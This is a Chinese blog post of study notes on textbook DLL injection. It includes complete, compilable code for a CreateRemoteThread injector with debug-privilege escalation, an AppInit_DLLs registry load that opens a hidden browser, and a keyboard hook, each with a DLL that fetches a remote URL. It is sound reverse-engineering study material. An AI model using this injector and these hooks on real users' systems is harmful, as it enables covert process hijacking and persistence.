March 31, 2022

关于逆向工程核心原理-DLL注入

(简称逆向工程核心原理第二十三章的学习)

0x00 DLL注入简介

将DLL强制注入一个进程,就拥有访问目标进程内存的正当的权限X),DLL加载到进程会自动运行DLLMain函数

  1. 改善功能与修复Bug(类似于插件)
  2. 消息钩取(Windows默认提供的就是一种DLL技术如SetWindowsHookEx)
  3. API钩取(开发项目经常使用)
  4. 监听各种程序(如阻止特定程序 有害网站等)
  5. 恶意代码(hai客们经常注入到自己制作的恶意代码中)

DLL注入的实现方法

  1. 创建远程线程(CreateRemoteThread() API)
  2. 使用注册表(AppInit_DLLs值)
  3. 消息勾取(SetWindowsHookEx() API)

0x01 CreatRemoteThread

DebugView会输出调试字符串

再开notepad,用process exploer知道pid

再用injectDll把myhack注入到notepad的进程里

于是下过来index.html

同时可以看到myhack.dll已经注入到notepad里了

image-20220330152438546

实验很有意思,分析一波源码

MyHack.dll

  1. 该dll被加载时会先输出一个调试字符串
  2. 然后调用线程函数ThreadProc(在这里就会下载文件了)

这边可以注意下GetModuleFileNameA

之前用到过是用的NULL,这边上了DLL的基地址,于是是获取DLL文件的路径

NULL就是获取当前进程可执行文件的路径(之前是KeyHook钩子比较是不是nodepad进程)

GetModuleFileNameA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

#include <stdio.h>
#include <tchar.h>
// Unicode编码时,tchar为uchar(双字符);ANSI编码时,tchar为char
#include <UrlMon.h>
#include <Windows.h>

// 表示链接urlmon.lib这个库
#pragma comment(lib, "urlmon.lib")

#define DEF_URL (L"https://www.ppppz.net/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

// 实现下载指定URL内内容
DWORD WINAPI ThreadProc(LPVOID lParam)
{
TCHAR szPath[_MAX_PATH] = { 0, };

// 获取当前进程已加载模块的文件的完整路径(这边就是把dll的文件所在的路径放到了szPath)
if (!GetModuleFileName(g_hMod, szPath, MAX_PATH))
return FALSE;

// 查找字符串中某个字符最后一次出现的位置(找到了C:\\LINKSTART\\myhack.dll)
TCHAR* p = _tcsrchr(szPath, '\\');
if (!p)
return FALSE;

// _tcscpy_s:字符拷贝函数,若是UNICODE编码则采用wcscpy_s()函数,若是多字节编码则采用strcpy_s()函数
// 这边就是把C:\\LINKSTART\\myhack.dll换成了C:\\LINKSTART\\index.html
_tcscpy_s(p + 1, _MAX_PATH, DEF_FILE_NAME);

// 从指定URL下载到指定路径
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);

return 0;
}

// 每当dll加载就会加载这个函数
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;

// hinstDLL是DLL的基地址
g_hMod = (HMODULE)hinstDLL;

switch (fdwReason)
{
// 一加载就是这了
case DLL_PROCESS_ATTACH:
OutputDebugString(L"<myhack.dll> Injection!!!");
// 创建一个线程以在调用进程的虚拟地址空间内执行,返回的是新线程的句柄
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
CloseHandle(hThread);
break;
}

return TRUE;
}

InjectDLL.cpp

1. OpenProcess

使用dwPID获取目标进程(nodepad.exe)句柄

PROCESS_ALL_ACCESS会有进程对象的所有可能的访问权限 进程安全和访问权限

OpenProcess打开现有的本地进程(notepad.exe)对象

1
2
3
4
5
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}

2. VirtualAllocEx

在目标进程hProcess内存中分配dwBufSize大小的内存空间

1
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);

3. WriteProcessMemory

hProcess是要修改的进程内存句柄

pRemoteBuf是要写入数据进程中的基地址指针(上面通过VirtualAllocEx开了个内存空间)

szDllPath是指向要写入的指定进程的数据指针(也就是我们的DLL路径)

简单来说,就是把DLL路径写入目标进程

WriteProcessMemory

1
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);

4. GetProcAddress

先获取模块句柄,再从句柄中获取LoadLibraryW() API的地址

LoadLibraryW() 是LoadLibrary()的Unicode字符串版本

Win OS中,kenerl32.dll在每个进程中加载的地址是一样的,故不用特意在目标进程中获取kenerl32的API直接在原地获取kenerl32中API的地址即可

简而言之,获取LoadLibraryW() API的地址

1
2
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");

5. CreateRemoteThread

  1. 令hProcess(notepad.exe)调用调用pThreadProc(LoadLibraryW())

  2. 参数是pRemoteBuf,也就是VirTualAllocEx创建的空间,被WritreProcessMemory写入的dll路径

  3. 从而Notepad进程加载了myhack.dll,一经加载,myhack.dll下载了指定文件

1
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);

现在再来看下dll(0基础WIN32审计起来真带感)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include "windows.h"
#include "tchar.h"

// 查看设置权限
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;

// 获取进程的Token
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
_tprintf(L"OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}

// 查看本地系统的权限值
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;

// 启用权限或禁用所有权限
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
_tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}

if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
_tprintf(L"The token does not have the specified privilege. \n");
return FALSE;
}

return TRUE;
}

// 实现dll注入
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE hProcess = NULL, hThread = NULL;
HMODULE hMod = NULL;
LPVOID pRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;

// #1. 使用dwPID获取目标进程(nodepad.exe)句柄
// PROCESS_ALL_ACCESS会有进程对象的所有可能的访问权限
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return FALSE;
}

// #2. 在目标进程hProcess内存中分配dwBufSize大小的内存空间
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);

// #3. 一句话 就是把DLL路径写入目标进程
// hProcess是要修改的进程内存句柄
// pRemoteBuf是要写入数据进程中的基地址指针(上面通过VirtualAllocEx开了个内存空间)
// szDllPath是指向要写入的指定进程的数据指针(也就是我们的DLL路径)
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);

// #4. 获取LoadLibraryW() API的地址
// 先获取模块句柄,再从句柄中获取LoadLibraryW() API的地址
// LoadLibraryW() 是LoadLibrary()的Unicode字符串版本
// Win OS中,kenerl32.dll在每个进程中加载的地址是一样的,故不用特意在目标进程中获取kenerl32的API,直接在原地获取kenerl32中API的地址即可
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");

// #5. 令hProcess(notepad.exe)调用pThreadProc(LoadLibraryW())
// 参数是pRemoteBuf,也就是VirTualAllocEx创建的空间,被WritreProcessMemory写入的dll路径
// 从而Notepad进程加载了myhack.dll,一经加载,myhack.dll下载了指定文件
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);

// HAI客完成,下机!
CloseHandle(hThread);
CloseHandle(hProcess);

return TRUE;
}

// _tmain为支持Unicode所使用的main的一个别名,宏定义在tchar.h,经编译为main
int _tmain(int argc, TCHAR *argv[])
{
if( argc != 3)
{
_tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]);
return 1;
}

// 查看设置权限
if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
return 1;

// inject dll
if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
_tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
else
_tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);

return 0;
}

反复编译自己的网站,发现一直不成功,原因是https的关系,于是拿了花雕的网站实验,成了!

没想到他是网页重定向nnd,换八云虹的了,再一试,成了!

image-20220331160119515

调试MyHack.dll

先关于遇到dll就断的选项,attach上nodepad,F9运行下让notepad可以输入

image-20220331160422801

再开启遇到dll就断,并输入相应的notepad进程号,随后dbg就会断住

image-20220331160646244

一开始会断在其他dll,因为启动一个就会启动一些其他的依赖balabala

一直F9,通过这处判断是否到了我们想调试的dll

现在关于遇到dll就断的选项

image-20220331160814171

这时候可以一步步调试(建议不要,会发现没个头,加载各种dll不断

先通过搜索字符串,在自己要调试的地方下断点

image-20220331161048170

一下F9跑到这,如果不F9说实话还会跳到各种dll

然后会发现这都创建线程,关闭线程句柄了还不显示??

查一下得知,线程和线程句柄根本不是一个东西

  1. 线程句柄是用来操作线程的,线程句柄是个内核对象

  2. 线程的生命周期就是线程函数从开始到return,线程句柄是从CreatThread到CloseHandle

  3. 所有内核对象都是系统资源,用了要还的,也就是用完后一定要调用CloseHandle

还是很有必要学习Windows核心编程,找机会买了

CloseHandle()函数的使用

image-20220331161202571

再在ThreadProc线程函数下个断点

会发现Injection程序的字符串都跳了,这边才跑到(这个原理可能还要更熟悉才理解

然后就可以调试ThreadProc线程函数的所有操作

按下最后一键!下载梓金鳌的主页!

image-20220331161906070

可以解惑刚刚想看的参数,如g_hMod为当前dll的基地址

1
2
if (!GetModuleFileName(g_hMod, szPath, MAX_PATH))
return FALSE;

image-20220331163136043

后续等等已经确定

(今天天气有丝寒冷,好久没有沉浸在审计和调试之中)

0x02 AppInit_DLLs

wsprintf(缓冲区,格式,要格式化的值)

简单审计一下,嘛,已经习惯了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// myhack2.cpp
#include "pch.h"

#include "windows.h"
#include "tchar.h"

#define DEF_CMD L"c:\\Program Files\\Internet Explorer\\iexplore.exe"
#define DEF_ADDR L"http://bayunhong.top/"
#define DEF_DST_PROC L"notepad.exe"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
TCHAR szCmd[MAX_PATH] = { 0, };
TCHAR szPath[MAX_PATH] = { 0, };
TCHAR* p = NULL;
STARTUPINFO si = { 0, };
PROCESS_INFORMATION pi = { 0, };

si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
// 获取当前前程的名称
if (!GetModuleFileName(NULL, szPath, MAX_PATH))
break;

if (!(p = _tcsrchr(szPath, '\\')))
break;

if (_tcsicmp(p + 1, DEF_DST_PROC))
break;

// 将CMD和ADDR格式化放入szCmd
// 再通过CreateProcess执行
wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR);
if (!CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd,
NULL, NULL, FALSE,
NORMAL_PRIORITY_CLASS,
NULL, NULL, &si, &pi))
break;

if (pi.hProcess != NULL)
CloseHandle(pi.hProcess);

break;
}

return TRUE;
}

打开注册表

image-20220331172459526

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

image-20220331172618411

修改AppInit_DLLS,写入要加载的DLL

image-20220331172705161

修改LoadAppInit_DLLs,0为不执行,1为执行

image-20220331172744120

再重启即可发现

注进去咯!

image-20220331172840889

0x03 SetWindowsHookEx()

与之前钩子同理,就是这次不是直接返回1(截获消息不输出),这次有消息就调用下载文件,呜呼!

新增的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <tchar.h>
// Unicode编码时,tchar为uchar(双字符);ANSI编码时,tchar为char
#include <UrlMon.h>

#pragma comment(lib, "urlmon.lib")

#define DEF_URL (L"http://bayunhong.top/")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

Bool WINAPI DllMain(...)
{
...
g_hMod = (HMODULE)hinstDLL;
...
}

直接编译即可!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
// myhack2.cpp
#include "pch.h"

#include <stdio.h>
#include <tchar.h>
// Unicode编码时,tchar为uchar(双字符);ANSI编码时,tchar为char
#include <UrlMon.h>
#include <Windows.h>

#pragma comment(lib, "urlmon.lib")

#define DEF_PROCESS_NAME "notepad.exe"

HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;

#define DEF_URL (L"http://bayunhong.top/")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

// 加载卸载dll都要先执行DllMain
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
g_hMod = (HMODULE)hinstDLL;

switch (dwReason)
{
// 加载时
case DLL_PROCESS_ATTACH:
// 该值是DLL的基地址
g_hInstance = hinstDLL;
break;

// 卸载时
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

// 1. 在调用HookStart时,SetWindowsHookEx就会将KeyboardProc添加到钩链,安装好钩子,无论哪个进程,只要发生键盘输入事件,OS就强制把KeyHook.dll注入相应进程
// 2. 发生键盘事件,就会首先调用执行KeyHook.KeyboardProc()
// 3. KeyboardProc函数中发生输入事件,就会比较当前进程是否是Notepad.exe
// 4. 如果是就直接返回1,终于该函数,这意味着截获且删除消息(这样键盘消息就不会传递到notepad.exe程序的相关队列)
// 5. 如果不是notepad就执行CallNextHookEx,这意味着消息会被传递到另一个程序或者钩链的另一个钩子
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char szPath[MAX_PATH] = { 0, };
char* p = NULL;

if (nCode >= 0)
{
// bit 31 : 0 => press, 1 => release
if (!(lParam & 0x80000000)) // 释放按键时
{
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');

// p + 1代表找到 \\后的第一位
if (!_stricmp(p + 1, DEF_PROCESS_NAME))
{
TCHAR szPath[_MAX_PATH] = { 0, };

// 获取当前进程已加载模块的文件的完整路径(这边就是把dll的文件所在的路径放到了szPath)
if (!GetModuleFileName(g_hMod, szPath, MAX_PATH))
return FALSE;

// 查找字符串中某个字符最后一次出现的位置(找到了C:\\LINKSTART\\myhack.dll)
TCHAR* p = _tcsrchr(szPath, '\\');
if (!p)
return FALSE;

// _tcscpy_s:字符拷贝函数,若是UNICODE编码则采用wcscpy_s()函数,若是多字节编码则采用strcpy_s()函数
// 这边就是把C:\\LINKSTART\\myhack.dll换成了C:\\LINKSTART\\index.html
_tcscpy_s(p + 1, _MAX_PATH, DEF_FILE_NAME);

// 从指定URL下载到指定路径
URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);

// return 0;
}
}
}

return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

#ifdef __cplusplus
extern "C" {
#endif
// declspec为导出函数关键字
__declspec(dllexport) void HookStart()
{
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
}

__declspec(dllexport) void HookStop()
{
if (g_hHook)
{
UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
}
#ifdef __cplusplus
}
#endif

只要在键盘一输入,就会下载指定网页!

image-20220331191155789

DASCTF X SU
🍬
HFCTF2022
🍪

About this Post

This post is written by P.Z, licensed under CC BY-NC 4.0.